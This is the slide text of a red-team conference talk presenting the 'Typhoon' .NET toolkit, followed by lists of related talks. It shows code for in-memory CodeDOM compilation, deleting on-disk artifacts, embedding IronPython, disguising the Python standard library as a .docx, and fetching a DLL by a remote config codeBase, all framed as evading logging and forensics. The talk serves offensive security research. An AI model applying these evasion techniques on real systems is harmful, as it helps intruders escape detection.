• Watch invocation of Microsoft.Scripting and Microsoft.Dynamic Hard to do on non-
instrumented system
• IronPython.dll
• YMMV….
Typhoon Defense
Thank You
Q&A
Twitter: @Op_Nomad
Github: /dsnezhkov
https://github.com/dsnezhkov/typhoon
WIP - Alpha!

More Related Content

PDF
Process injection - Malware style
PDF
Captain Hook: Pirating AVs to Bypass Exploit Mitigations
PDF
Common Pitfalls of Functional Programming and How to Avoid Them: A Mobile Gam...
PPTX
Injection on Steroids: Codeless code injection and 0-day techniques
PDF
Fuzzing the Media Framework in Android
PDF
Practical Malware Analysis: Ch 10: Kernel Debugging with WinDbg
PDF
CNIT 126 12: Covert Malware Launching
PDF
Practical Malware Analysis Ch12
Process injection - Malware style
Captain Hook: Pirating AVs to Bypass Exploit Mitigations
Common Pitfalls of Functional Programming and How to Avoid Them: A Mobile Gam...
Injection on Steroids: Codeless code injection and 0-day techniques
Fuzzing the Media Framework in Android
Practical Malware Analysis: Ch 10: Kernel Debugging with WinDbg
CNIT 126 12: Covert Malware Launching
Practical Malware Analysis Ch12

What's hot (20)

PPTX
Steelcon 2014 - Process Injection with Python
ODP
Groovy In the Cloud
PDF
Bypassing patchguard on Windows 8.1 and Windows 10
PDF
Rainbow Over the Windows: More Colors Than You Could Expect
PDF
CNIT 126 8: Debugging
PDF
Freeze Drying for Capturing Environment-Sensitive Malware Alive
PDF
KARMA: Adaptive Android Kernel Live Patching
PPTX
Practical Windows Kernel Exploitation
PPTX
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013
PDF
PDF
CNIT 126: 10: Kernel Debugging with WinDbg
PPTX
Security research over Windows #defcon china
PDF
Practical Malware Analysis: Ch 15: Anti-Disassembly
PPTX
Back to the CORE
PPTX
Vulnerability desing patterns
PPTX
Windows Kernel Exploitation : This Time Font hunt you down in 4 bytes
PPTX
Fun With Dr Brown
PDF
Towards JVM Dynamic Languages Toolchain
PPTX
You didnt see it’s coming? "Dawn of hardened Windows Kernel"
PPT
.NET Debugging Tips and Techniques
Steelcon 2014 - Process Injection with Python
Groovy In the Cloud
Bypassing patchguard on Windows 8.1 and Windows 10
Rainbow Over the Windows: More Colors Than You Could Expect
CNIT 126 8: Debugging
Freeze Drying for Capturing Environment-Sensitive Malware Alive
KARMA: Adaptive Android Kernel Live Patching
Practical Windows Kernel Exploitation
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013
CNIT 126: 10: Kernel Debugging with WinDbg
Security research over Windows #defcon china
Practical Malware Analysis: Ch 15: Anti-Disassembly
Back to the CORE
Vulnerability desing patterns
Windows Kernel Exploitation : This Time Font hunt you down in 4 bytes
Fun With Dr Brown
Towards JVM Dynamic Languages Toolchain
You didnt see it’s coming? "Dawn of hardened Windows Kernel"
.NET Debugging Tips and Techniques
Ad

Similar to Typhoon Managed Execution Toolkit (20)

PPT
.Net Debugging Techniques
PPTX
Tamir Dresher - Demystifying the Core of .NET Core
PDF
Hacking with Reverse Engineering and Defense against it
PDF
how-to-bypass-AM-PPL
PPT
.Net overviewrajnish
PDF
Piratng Avs to bypass exploit mitigation
PDF
openioc_scan - IOC scanner for memory forensics
PDF
[若渴計畫] Challenges and Solutions of Window Remote Shellcode
PDF
Hacking Highly Secured Enterprise Environments by Zoltan Balazs
PPTX
The Hacking Games - Operation System Vulnerabilities Meetup 29112022
PDF
Intro to .NET and Core C#
PPT
Csharp dot net
PPT
Dotnet framework
PPTX
Learn the java basic programming with example and syntaxchapter1-part-b.pptx
PDF
NSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
PDF
Ch 6: The Wild World of Windows
PDF
CNIT 127 Ch 6: The Wild World of Windows
PPTX
Owning computers without shell access 2
PPTX
T3_Embedded programing_07072022T3_Embedded programing_07072022.pptx
PDF
Thick Application Penetration Testing: Crash Course
.Net Debugging Techniques
Tamir Dresher - Demystifying the Core of .NET Core
Hacking with Reverse Engineering and Defense against it
how-to-bypass-AM-PPL
.Net overviewrajnish
Piratng Avs to bypass exploit mitigation
openioc_scan - IOC scanner for memory forensics
[若渴計畫] Challenges and Solutions of Window Remote Shellcode
Hacking Highly Secured Enterprise Environments by Zoltan Balazs
The Hacking Games - Operation System Vulnerabilities Meetup 29112022
Intro to .NET and Core C#
Csharp dot net
Dotnet framework
Learn the java basic programming with example and syntaxchapter1-part-b.pptx
NSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
Ch 6: The Wild World of Windows
CNIT 127 Ch 6: The Wild World of Windows
Owning computers without shell access 2
T3_Embedded programing_07072022T3_Embedded programing_07072022.pptx
Thick Application Penetration Testing: Crash Course
Ad

More from Dimitry Snezhkov (7)

PDF
BH-ElfPack-Presentation.pdf
PDF
Racketeer Toolkit. Prototyping Controlled Ransomware Operations
PDF
Your House is My House: Use of Offensive Enclaves In Adversarial Operations
PDF
Deep Sea Phishing Gear
PDF
Foxtrot C2: A Journey of Payload Delivery
PDF
Foxtrot C2: Forced Payload Delivery
PDF
LST Toolkit: Exfiltration Over Sound, Light, Touch
BH-ElfPack-Presentation.pdf
Racketeer Toolkit. Prototyping Controlled Ransomware Operations
Your House is My House: Use of Offensive Enclaves In Adversarial Operations
Deep Sea Phishing Gear
Foxtrot C2: A Journey of Payload Delivery
Foxtrot C2: Forced Payload Delivery
LST Toolkit: Exfiltration Over Sound, Light, Touch

Recently uploaded (20)

PPTX
MYSQL Presentation for SQL database connectivity
PDF
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
PDF
Advanced methodologies resolving dimensionality complications for autism neur...
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PDF
Spectral efficient network and resource selection model in 5G networks
PPT
Teaching material agriculture food technology
PDF
Unlocking AI with Model Context Protocol (MCP)
PDF
Machine learning based COVID-19 study performance prediction
DOCX
The AUB Centre for AI in Media Proposal.docx
PDF
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
PDF
Mobile App Security Testing_ A Comprehensive Guide.pdf
PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
PPTX
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
PPTX
Big Data Technologies - Introduction.pptx
PDF
Agricultural_Statistics_at_a_Glance_2022_0.pdf
PPTX
Programs and apps: productivity, graphics, security and other tools
PDF
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
PPTX
Digital-Transformation-Roadmap-for-Companies.pptx
PPTX
20250228 LYD VKU AI Blended-Learning.pptx
PDF
Encapsulation_ Review paper, used for researhc scholars
MYSQL Presentation for SQL database connectivity
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
Advanced methodologies resolving dimensionality complications for autism neur...
Building Integrated photovoltaic BIPV_UPV.pdf
Spectral efficient network and resource selection model in 5G networks
Teaching material agriculture food technology
Unlocking AI with Model Context Protocol (MCP)
Machine learning based COVID-19 study performance prediction
The AUB Centre for AI in Media Proposal.docx
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
Mobile App Security Testing_ A Comprehensive Guide.pdf
“AI and Expert System Decision Support & Business Intelligence Systems”
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
Big Data Technologies - Introduction.pptx
Agricultural_Statistics_at_a_Glance_2022_0.pdf
Programs and apps: productivity, graphics, security and other tools
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
Digital-Transformation-Roadmap-for-Companies.pptx
20250228 LYD VKU AI Blended-Learning.pptx
Encapsulation_ Review paper, used for researhc scholars

Typhoon Managed Execution Toolkit

  • 1. Offensive Retooling In .NET for Red Teams Dimitry Snezhkov @Op_Nomad Circle City Con 5.0
  • 2. /about Sr. Security Consultant, X-Force Red, IBM Corporation Currently Focus on: • Full Scope Offensive Security Assurance Testing. • Tools/Code. • Closest role I attempt to follow: “Operator” • There is no “the” in Ukraine J
  • 3. The things that make other things go under the DFIR radar on Windows J • Choices and Ideas to help an Offense Operator in Recon and further stages • Building offensive code blocks, live on the system. Utilized Weaponization. • Riding the developer path for the gain. • Concept: Code is Data. Data is Code. • Concept: Slim Cradles. Dynamic Payloads. Let’s Talk Offense, Shall we?
  • 4. Recon : Strategic Offensive Execution Many adversarial efforts are burned at the Recon stage on the system. • Offense has to move first. • Offense has to collect information about surroundings • Initial offensive playbook is somewhat predictable. First Mover Disadvantage Problem
  • 5. Recon: Offensive Operator issues: Logged shell commands (e.g. PowerShell) • Command shells are instrumented • sandboxed execution, • hooked or instrumented binaries • Quiet systems with monitoring agents • Whitelisting of binaries (reality: many as a blacklist: e.g. deny “powershell.exe”) Network Effect Failure: Known static offensive tools are flagged as they become common. First Mover Disadvantage Problem
  • 6. Retooling in the field may be needed. Purpose is staying live in the offensive discovery, and beyond. 1. Building blocks/modules may be better than static tools. 2. Building tools that build tools on systems may be better than bringing tools in. 3. Utilization - leverage of existing system facilities and weaponizing them may be better than new tools
  • 7. Live Retooling in the field may be needed. Advantages • Minimized fingerprint surface • Blending in with the environment operation Reality • Live offensive dev is hard. • Real time detection. • Bugs. • Event generation (DFIR) Disadvantages • Dev time (often on live systems). • Dev on Live systems is dangerous sport • OpSec is paramount on unknown systems.
  • 8. Desired Strategic goals of Recon tools/techniques • Ability to recon under the radar for longer time. • Ability to better deliver code and payloads to existing facilities across monitored systems and networks • Ability to quickly retool for the unknown. The initial goal is to minimize chances of being loud during recon Sorry… ;( If we agree live retooling is needed what do we need:
  • 9. Desired Tactical traits of live retooling in support of the goals • Support in transfer payloads and execution cradles on demand. • Support in building of payloads or executing cradles on the host. • Support in evasion of OS and Network defenses as we develop. If we agree live retooling is needed what do we need:
  • 10. What properties do we desire in the building blocks/tools • Minimization of artifacts, event, alerts • Overcoming existing environment instrumentation • Reasonable interface with legacy facilities on the host (sometimes/often) • Decent interop with system APIs (drop down really low if needed) • Improved Operational Security for tools If we agree live retooling is needed what do we need:
  • 11. The concept of Slim Payload Delivery Cradles Benign mechanisms placed on systems with ability to: • Dynamically load payloads • Load additional dependency at run time, to dynamically load other payloads • Operate on Code as Data • Code based dynamic compilation • Decoupled compilation and execution • Decoupled payload processes or threads Cradle to Grave
  • 12. Current options for retooling on remote live systems (Windows): • Powershell • WMI • Managed code (.Net). • COM and unmanaged code All have Pros and Cons Availability of compilers on target systems Ease of use but logged (System.Management.Automation) Non-legacy interfaces and low level (interop/COM) Ease of live system dev effort Options For Retooling Mechanisms
  • 13. Advantages • Breadth of interfaces with OS and beyond • Deep reach into OS is possible via Interop (P/Invoke) • Utilization properties • Flexibility • Also not logged at the API level Disadvantages • Also, slower dev than scripting • Also, no fast prototyping (no REPL) • Also, compilation Standalone .NET API recon tools exist and being built. Not a new concept. However an easier retooling is our goal. Can we build this out? Managed code (.NET) Is Interesting...
  • 14. Offensive Live Dev Challenge Numero Uno.. Retain and weaponize the advantages of .Net while addressing its disadvantages. Advantages Breadth of interfaces with OS and beyond Deep reach into OS is possible via Interop (P/Invoke) Utilization properties Flexibility Absence of logging at the API level Disadvantages Slower dev than scripting No inherent fast prototyping (no REPL) OpSec unfriendly Compilation
  • 15. CSaw Let’s gradually design and build a Managed Execution Toolkit Concept .NET Strongly Typed Typhoon MET Ready. Set. Retool
  • 16. What is .Net in a nutshell from prototyping and packaging perspective. 1st degree relatives • APIs • CLR • Compilers Cousins (hey!): • CodeDom • DLR (later) Typhoon CSaw
  • 17. Code Document Object Model (CodeDOM) • emit source code to generate source code in multiple programming languages at run time • based on a single model that represents the code to render. Common uses for the CodeDOM: • Templated code generation (ASP.NET, XML Web services client proxies, code wizards, designers, or other code-emitting mechanisms. • Dynamic compilation: supporting code compilation in single or multiple languages. Typhoon CSaw
  • 18. So we want to build a REPL via inline CodeDom Csc.exe is present (some .Net internals (XML, etc.) relies on it being present so most likely not removed by Blue Benefits: • Ability to dynamically compile C# (VB/JS ..) code • Ability to REPL C# for quick gains • Ability to use C# to avoid monitoring Typhoon CSaw Evasion
  • 19. Microsoft.CSharp.CSharpCodeProvider csc = new Microsoft.CSharp.CSharpCodeProvider( new Dictionary<string, string>() { { "CompilerVersion", "v4.0" } }); CompilerParameters parameters = new CompilerParameters( referencedAssemblies); parameters.GenerateInMemory = true; parameters.GenerateExecutable = false; parameters.TempFiles = new TempFileCollection(Path.GetTempPath(), true); parameters.CompilerOptions += "/nologo /unsafe"; String aPathName = Path.Combine(Environment.CurrentDirectory, Path.GetFileName(Path.GetTempFileName()).Replace(".tmp", ".dll")); parameters.OutputAssembly = aPathName; CompilerResults cr = csc.CompileAssemblyFromSource(parameters, SourceCode); Typhoon CSaw NET loader does not care about DLL name, only embedded manifest) Evasion
  • 20. Goals: • Ability to dynamically compile C# code • Ability to REPL C# for quick gains • Ability to use C# to avoid logging monitoring • Ability to load assemblies in memory and remove disk artifacts (post-factum) • Ability to compile and run in separate invocations ( correlation evasion) • Ability to dynamically load an assembly and invoke and class in it • Ability to increase effectiveness of payload delivery via source code (a bonus) • AppDomain assist. Unloading assemblies and deleting artifacts. • Interop to native unmanaged code. Dynamic and more usable Interop. Typhoon CSaw
  • 21. public class DynamicCompile: System.IDisposable{} public void GetResults(); protected void Dispose(bool disposing); String SourceCode = SnippetDirectives + SnippetPreamble + SnippetCode + SnippetPostAmble; We just need a simple code contract and dynamic compilation User submitted User submitted Tool generated Tool generated Typhoon Csaw: REPL Evasion
  • 22. var type = cr.CompiledAssembly.GetType("Dynamic.DynamicCompile"); object[] constructorArgs = new object[] { }; dynamic instance = Activator.CreateInstance(type, constructorArgs); // Contract execute instance.GetResults(); // Dispose of an instances. instance.Dispose() Typhoon CSaw: REPL
  • 23. directive> using System; directive> using System.IO; directive> using System.Text; directive> using System.CodeDom; directive> using System.Diagnostics; directive> using System.CodeDom.Compiler; directive> END code> foreach (System.CodeDom.Compiler.CompilerInfo ci in code> System.CodeDom.Compiler.CodeDomProvider.GetAllCompilerInfo()) code> { code> foreach (string language in ci.GetLanguages()) code> System.Console.Write("{0} ", language); code> System.Console.WriteLine(); code> } code> END Performing dynamic compile and execution. --- Result --- c# cs csharp vb vbs visualbasic vbscript js jscript javascript c++ mc cpp Typhoon CSaw: REPL
  • 24. using System; using System.Net; END WebClient client = new WebClient(); String address = @"https://google.com"; string reply = client.DownloadString (address); Console.WriteLine("{0} ... ", reply.Substring(0, 80)); END Advantages: • Code cradle • CodeDOM • Rudimentary reusable code contract (REPL) Disadvantages: • Sequential • No abstraction • No reusability. • Quick and dirty REPL Typhoon CSaw: REPL We can do better ... Evasion
  • 25. Dynamic class building with disposable interface • Better Contract • Full branching, classes • Split compilation and execution steps. • Ability to compile and run in separate invocations means correlation evasion support • Ability to dynamically load an assembly and invoke and class in it (a la regsvr32 <dll> <entry> but for .Net) • Can write extensions outside of live environment, transfer and load them up (as code). Maybe later ;) public void PreLaunch() {} public void RunCode(){} public void PostLaunch() {} Typhoon CSaw: CSX extensions Better CSX Contract: Evasion
  • 26. namespace Typhoon.Extensions { // This extension will implement a contract public class ClipboardManager { // Before hook public void PreLaunch() {} // After hook public void PostLaunch() {} // Implementing Entry point contract public void RunCode(){ Console.WriteLine("Clipboard: {0}", ExecuteYourRealCode()); } } Typhoon CSaw: CSX extensions
  • 27. Typhoon CSaw: CSX extensions Compile Typhoon.exe -mode=comp -type=cs -resource=METTyphoonExamplesExtensionsClipboardManager.cs This creates a tmpXXXX.dll assembly in local directory Execute Extension (load dll and invoke type) Typhoon.exe -mode=exec -type=cs -method=afile -resource=.tmp1D63.dll -class=Typhoon.Extensions.ClipboardManager EvasionRemember: Decoupled Compilation and Execution goals?
  • 28. CodeDom Leaves Artifacts (OpSec). DFIR evasion/detection is not fully solved. • Good: Not invoking csc.exe via command line (not logged). • Bad: But csc.exe is still indirectly invoked • OK: On disk presence of Temp files (transient or permanent) • OK : Assembly disk deletion challenge while in use (move to memory). • OK: Naming of temp files may not be controlled. Location can be controlled. • OK: Unloading of assemblies challenges, Typhoon CSaw: DFIR Artifacts
  • 29. parameters.GenerateInMemory = true In-memory generation is a misnomer. There are some artifacts left on disk, in-memory really means `in temp folder` Example of artifacts for in-memory (transient) compilation and preservation of temp files: Directory of C:UsersdimasAppDataLocalTemp 08/12/2017 10:31 PM 0 tmp16A6.tmp 08/12/2017 10:30 PM 0 tmpF581.tmp 08/12/2017 10:32 PM 2,080 1vvp5flt.0.cs If temp files are set to be preserved (KeepFiles property) we see in output folder 08/12/2017 10:32 PM 778 1vvp5flt.cmdline 08/12/2017 10:32 PM 0 1vvp5flt.err 08/12/2017 10:32 PM 1,353 1vvp5flt.out 08/12/2017 10:32 PM 0 1vvp5flt.tmp Typhoon CSaw: DFIR Artifacts
  • 31. Want: • Delete loaded assemblies from disk once loaded • Unload assemblies on demand • Load ByteStream (of assemblies with payloads) from memory • Remove .cs, .cmd, .dll, .tmp. We cannot do that. However: • Classic .NET does not allow ByteStream Load() of assemblies that are not on disk • Unloading cannot be done in the same Code Domain. Typhoon CSaw: OpSec – Removing Artifacts
  • 32. var type = cr.CompiledAssembly.GetType("Dynamic.DynamicCompile"); FileInfo fi = new FileInfo(aPathName); File.Delete(aPathName); object[] constructorArgs = new object[] { }; dynamic instance = Activator.CreateInstance(type, constructorArgs); // Contract execute instance.GetResults(); // Dispose of instances. Avoiding memory leaks (e.g. for rapid fire of calls in a loop). instance.Dispose() Typhoon CSaw: OpSec – Removing Artifacts Locked!
  • 33. using (var context = AppDomainContext.Create()) { String aPathName = Path.Combine(Environment.CurrentDirectory, Path.GetFileName(Path.GetTempFileName()).Replace(".tmp", ".dll")); parameters.OutputAssembly = aPathName; CompilerResults cr = csc.CompileAssemblyFromSource(parameters, SourceCode) var type = cr.CompiledAssembly.GetType("Dynamic.DynamicCompile"); FileInfo fi = new FileInfo(aPathName); File.Delete(aPathName); object[] constructorArgs = new object[] { }; dynamic instance = Activator.CreateInstance(type, constructorArgs); Console.WriteLine("n--- Result ---"); instance.GetResults(); // Dispose of instances. Avoiding memory leaks (e.g. for rapid fire of calls in a loop). instance.Dispose(); } Typhoon Csaw: OpSec – Removing Artifacts Evasion
  • 34. Why: Investments in the unmanaged code. Code in CLR is managed code Code not in CLR is unmanaged code. • COM, COM+, • C++ components, • ActiveX components • Microsoft Win32 API Example of C# P.Invoke API via DLLImport Ref: https://www.pinvoke.net/default.aspx/user32.findwindow Typhoon CSaw: Interop Interop in .NET • Platform Invoke services (P/Invoke) • The System.Runtime.InteropServices namespace • C++ interoperability • COM interoperability (COM interop) Evasion
  • 35. // P/Invoke shim. using System using System.Runtime.InteropServices; [DllImport("user32.dll", SetLastError = true)] static extern IntPtr FindWindowEx(IntPtr hwndParent, IntPtr hwndChildAfter, string lpszClass, string lpszWindow); IntPtr thisW = FindWindowEx(IntPtr.Zero, IntPtr.Zero, null, "Downloads"); [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)] public static extern bool SetWindowText(IntPtr hwnd, String lpString); SetWindowText(thisW, "Hello DFIR"); Typhoon CSaw: Interop
  • 36. // Invoke from external .NET code: public void startProcess(string path, string title) { Process.Start(path); Thread.Sleep(1000); //Wait, the new programm must be full loaded //get the Handle of the console window IntPtr handle = FindWindow("ConsoleWindowClass", path); SetWindowText(handle, title); //sets the caption } Typhoon CSaw: Interop The Shim and the Invoking code can be in different assemblies. Evasion
  • 37. Typhoon CSaw: Better Dynamic Interop Dynamic WinAPI invoke with reflective shim assist • Abstracts complexity • Assembly builder uses Reflection / Emit API DefineType() DefineMethod() CreateType() GetMethod() public static class DynLibUtil { public static dynamic LoadWinapiPInvoke(string library) { dynamic dynlibrary = new DynamicDllImport(library, callingConvention: CallingConvention.Winapi); return dynlibrary; } } Evasion Google GPL code
  • 38. using System; using DynamicLoad; END dynamic user32 = DynLibUtil.LoadWinapiPInvoke("user32"); user32.MessageBox(0, "Hello World", "P/Invoke Sample", 0); END Typhoon CSaw: Better Dynamic Interop Invoke in REPL example with Dynamic Interop (.NET 4.0+): EASY We just built a dynamic scriptable .NET Native Interop API bridge
  • 39. By now we have met most of CSaw goals. • Ability to dynamically compile C# code • Ability to REPL C# for quick gains • Ability to use C# to avoid logging monitoring • Ability to load assemblies in memory and remove disk artifacts (post-factum) • Ability to compile and run in separate invocations ( correlation evasion) • Ability to dynamically load a custom assembly and invoke and class in it • Ability to increase effectiveness of payload delivery via source code (a bonus) • AppDomain assist. Unloading assemblies and deleting artifacts. • Interop to native unmanaged code. Dynamic and more usable Interop. We are not done. Typhoon Csaw
  • 40. • Can we achieve a more flexible .NET scriptability? • Can we avoid working with AppDomains explicitly • Can we avoid compilation process altogether. Typhoon DLRium
  • 41. Dynamic Typed .NET DLRium Let’s gradually design and build a Managed Execution Toolkit Concept Dynamic DLR Typhoon MET Ready. Set. Retool
  • 42. The .NET Dynamic Language Runtime (DLR) A .NET runtime environment that: • adds a set of services for dynamic languages to the common language runtime (CLR). • makes it easier to develop dynamic languages to run on the .NET Framework • adds dynamic features to statically typed languages. Dynamic languages (JavaScript, PHP, Ruby, Python, Lua, Groovy.) • can identify the type of an object at run time Statically typed languages (such as C# ) • object types specified at design time. Typhoon DLRium
  • 43. • Simplifies Porting Dynamic Languages to the .NET Framework • Enables Dynamic Features in Statically Typed Languages • Enables Sharing of Libraries and Objects Typhoon DLRium
  • 44. Scriptobj.SetProperty("Count", ((int)GetProperty("Count")) + 1); scriptobj.Count += 1; Typhoon DLRium We have this: We want this instead: Easy
  • 45. DLR revolves around the Core DLR API in namespaces: • Microsoft.Scripting • Microsoft.Dynamic Plus additional language implementations. DLR Implementations we want: • IronPython • IronPython.Module We can move away from strongly typed systems into dynamic types. We can hide complexity. We can do more code reflection. Typhoon DLRium
  • 46. using System.Net var content = string.Empty; using (var webClient = new WebClient()) { content = webClient.DownloadString("http://google.com"); Console.WriteLine(content); } $webClient = New-Object System.Net.WebClient $content = $webClient.DownloadString("http://google.com") Out-Host $content Typhoon DLRium C# Static Types Powershell Dynamic types
  • 47. from System.Net import WebClient content = WebClient().DownloadString("http://google.com") print content import urllib2 content = urllib2.urlopen("http://google.com").read() print(content) Python Dynamic Types Python (DLR) Dynamic Types Typhoon DLRium What just happened here?
  • 48. Dynamic fast prototyping of Python with the power of .NET. No compilation. Hello DFIR! Typhoon DLRium Evasion
  • 49. Goals • Ability to leverage DLR to avoid Powershell logging while preserving scriptability (in comparison to statically compiled C#) • Ability to leverage Python expressiveness and dynamic typing while still having ability to transparently engage .Net framework mechanisms • Ability to compile Python to exe or dll via DLR • Ability to drop down to .Net from Python or to Python from .Net (stealth, Evasion) • Load from ByteStream (no need to delete or have Assembly image on disk) • Interop to native unmanaged with load/unload DLRium: • Specifically IronPython • Dynamic types. Python rocks for offense • Fully reflected code. Analysis paralysis (for some) • Python + .Net wealth of classes and interfaces. • Python + StdLib (if needed). != Cpython Typhoon DLRium
  • 50. ## IronPython without STDLib included ```>>> print sys.builtin_module_names ('unicodedata', '_ast', 'imp', 'future_builtins', 'clr', 'exceptions', '__builtin__', 'sys', 'array', 'binascii', 'bz2', 'cmath', 'msvcrt', 'mmap', 'signal', 'winsound', 'zipimport', 'zlib', '_bisect', '_codecs', '_collections', 'copy_reg', 'cPickle', 'cStringIO', 'datetime', 'errno', 'gc', 'itertools', '_csv', '_io', '_locale', 'marshal', 'math', '_md5', 'nt', 'operator', 're', 'select', '_sha', '_sha256', '_sha512',/ 'socket', '_ctypes', '_ctypes_test', '_heapq', '_struct', 'thread', 'time', 'xxsubtype', '_functools', '_random', '_sre', '_ssl', '_subprocess', '_warnings', '_weakref', '_winreg') ``` Typhoon DLRium Can use pure Python constructs, or bring in .NET namespaces as needed import clr, sys
  • 51. import clr, sys clr.AddReference('StdLib') import traceback, urllib try: opener = urllib.FancyURLopener({}) f = opener.open(r"http://www.python.org/") f.read() except Exception as e: traceback.print_exc(file=sys.stdout) print e END • Benefits of StdLib you get a lot more `python` modules like `traceback` • Size increases. • On-disk drop. • Much available from .NET but can mix and match to evade defenses more Typhoon DLRium: REPL Load IronPython Stdlib from zip. Zip can also be brought in as renamed `docx` sys.path.append(r"C:UsersdimasDownloadsdistStdLib.docx") Evasion
  • 52. import clr; clr.AddReference("System.Windows.Forms" ) ; from System.Windows.Forms import *; clr.AddReference("System.Drawing") ; clr.AddReference("System.Windows.Forms" ) ; f = Form(); f.Show() clr.AddReference("System.Windows.Forms") from System.Windows.Forms import MessageBox MessageBox.Show("Hello World") from System.Threading import Thread, ThreadStart def f(): Thread.Sleep(1000) print "Thread Finished" f() DLR is just a .NET technique. Can expand easily into things like Win Forms, etc. Typhoon DLRium
  • 53. Compile PyDLR into .NET Assembly and load it Reflectively File: test.py def hello(): print "Hello" Compile and load: import clr clr.CompileModules("test.dll", "test.py") clr.AddReferenceByPartialName("test") import test print test.hello() Typhoon DLRium Evasion
  • 54. Compile PyDLR to Exe. In fact, compile Iron python interpreter itself to exe via reflection: Typhoon -mode=exec -type=py -method=sfile - resource=....ExamplesExtensionsPyc.py -targs="/target:exe /platform:x64 /main:test_main.py test_main.py" Run time dependencies still need to be accounted for. Depends how you look at it. Standalone payload functionality with dependent runtime libraries, vs. frozen fat binaries. copy ....ResourcesIronPython.dll . copy ....ResourcesMicrosoft.Dynamic.dll . copy ....ResourcesMicrosoft.Scripting.dll . Typhoon DLRium Evasion
  • 55. DLRium Multiline PyDLR REPL is possible. Even easier than C#: import clr clr.AddReference("System.Windows.Forms") from System.Windows.Forms import MessageBox MessageBox.Show("Hello World") END Typhoon DLRium
  • 56. Unmanaged code via Ctypes (needs STDLib) import ctypes buffer = ctypes.create_string_buffer(100) ctypes.windll.kernel32.GetWindowsDirectoryA(buffer, len(buffer)) print buffer.value Typhoon DLRium But we can do better. What if ….. Unmanaged code P/Invoke via CodeDom from PyDLR
  • 57. Makes sense to enhance delivery of code – OPSec • Embedded resources • App.config • Net Modules Typhoon DLRium What just happened? We are bringing code as payload to an executing cradle. Evasion
  • 58. Typhoon DLRium 1. Bring in IronPython.dll as an Embedded DLL dependency. <ItemGroup> <Reference Include="IronPython, Version=2.7.7.0, Culture=neutral, PublicKeyToken=7f709c5b713576e1, processorArchitecture=MSIL"> <HintPath>ResourcesIronPython.dll</HintPath> <Private>False</Private> </Reference> <Reference Include="IronPython.Modules"> <HintPath>ResourcesIronPython.Modules.dll</HintPath> <Private>False</Private> </Reference> <Reference Include="Microsoft.Dynamic"> <HintPath>ResourcesMicrosoft.Dynamic.dll</HintPath> <Private>False</Private> </Reference> <Reference Include="Microsoft.Scripting"> <HintPath>ResourcesMicrosoft.Scripting.dll</HintPath> <Private>False</Private> </Reference>
  • 59. internal static Assembly CurrentDomain_AssemblyResolve(object sender, ResolveEventArgs args) { var assemblyName = new AssemblyName(args.Name).Name + ".dll"; var resourceName = EmbeddedLibraries.FirstOrDefault(x => x.EndsWith(assemblyName)); using (var stream = ExecutingAssembly.GetManifestResourceStream(resourceName)) { var bytes = new byte[stream.Length]; stream.Read(bytes, 0, bytes.Length); return Assembly.Load(bytes); } } internal static void SetAssemblyResolution() { AppDomain.CurrentDomain.AssemblyResolve += AssemblyUtil.CurrentDomain_AssemblyResolve; } Typhoon DLRium 2. Hook the Assembly Resolution to load
  • 60. A few alternative building blocks ideas: 1. Compile `.cs` code and have DLLs as embedded resources in your assemblies `csc /resource:Ironpython.dll` 2. Bring modularized assemblies as netmodules. A Netmodule is an assembly without a manifest. Not identifiable or scannable as not executable. Compile an assemble to a dll onsite. `csc -target:module payload.cs ` `csc /netmodule:module` Also, see ExamplesCompileNetMod.py 3. Possibly use .Net Download Cache facilities `gacutul /ldl` (Location where it downloads): C:UsersdimasAppDataLocalassemblydl3 Typhoon DLRium Evasion
  • 61. Example: compile netmodules in code, and then assemble them, in code Typhoon See METTyphoonExamplesNetmodulesCompileNetMod.py Evasion
  • 62. Typhoon Dynamic Netmodule compilation of C# into .NET Assembly via DLR
  • 63. nuser32_module_path = GenerateNM(user32_stub_dllimport, 'NUser32', inMemory=False) ngdi32_module_path = GenerateNM(gdi32_stub_dllimport, 'NGDI32', inMemory=False) modulesList=[nuser32_module_path,ngdi32_module_path] # Bind Modules into Assembly assemblyPath = ModulesToAssembly(modulesList, 'pinvoke', inMemory=False) clr.AddReferenceToFileAndPath(assemblyPath) clr.AddReference('System.Drawing') image = ScreenCapture(0, 0, 80, 400) image.Save("capture_module.png") Compile netmodules Via Python DLR. El Loco Typhoon
  • 64. You can modify. `yourexe.exe.config` file and point to remote DLL to fetch. <?xml version="1.0" encoding="utf-8" ?> <configuration> <assemblyIdentity name="IronPython" publicKeyToken="7f709c5b713576e1" culture="" /> <codeBase version="2.7.7.0" href="http://127.0.0.1:8000/IronPython.dll" /> </dependentAssembly> </configuration> Typhoon DLRium Evasion Alternative methods to fetch IronPython DLL
  • 65. Example: Invoking Iron Python from IronPython over .Net Assembly w/variables import clr clr.AddReference('IronPython’) clr.AddReference('Microsoft.Scripting') from IronPython.Hosting import Python from Microsoft.Scripting import SourceCodeKind code = "print string”; values = {'string': 'Hello World'} engine = Python.CreateEngine() source = engine.CreateScriptSourceFromString(code, SourceCodeKind.Statements) mod = engine.CreateScope() for name, value in values.items(): setattr(mod, name, value) source.Execute(mod) Typhoon DLRium: Deep Reflection Evasion
  • 66. PyDLR introspection via reflection. Even more stealth? 1. Python file which contains what we want to execute: `TestClass.py` Trivial example of adding two numbers ```python # The class you want to access externally. class DoCalculations(): # A method within the class that adds two numbers. def DoAdd(self, First, Second): # Provide a result. return First + Second # A test suite in IronPython. def __test__(): # Create the object. MyCalc = DoCalculations() # Perform the test. print MyCalc.DoAdd(5, 10) Typhoon DLRium: Deep Reflection
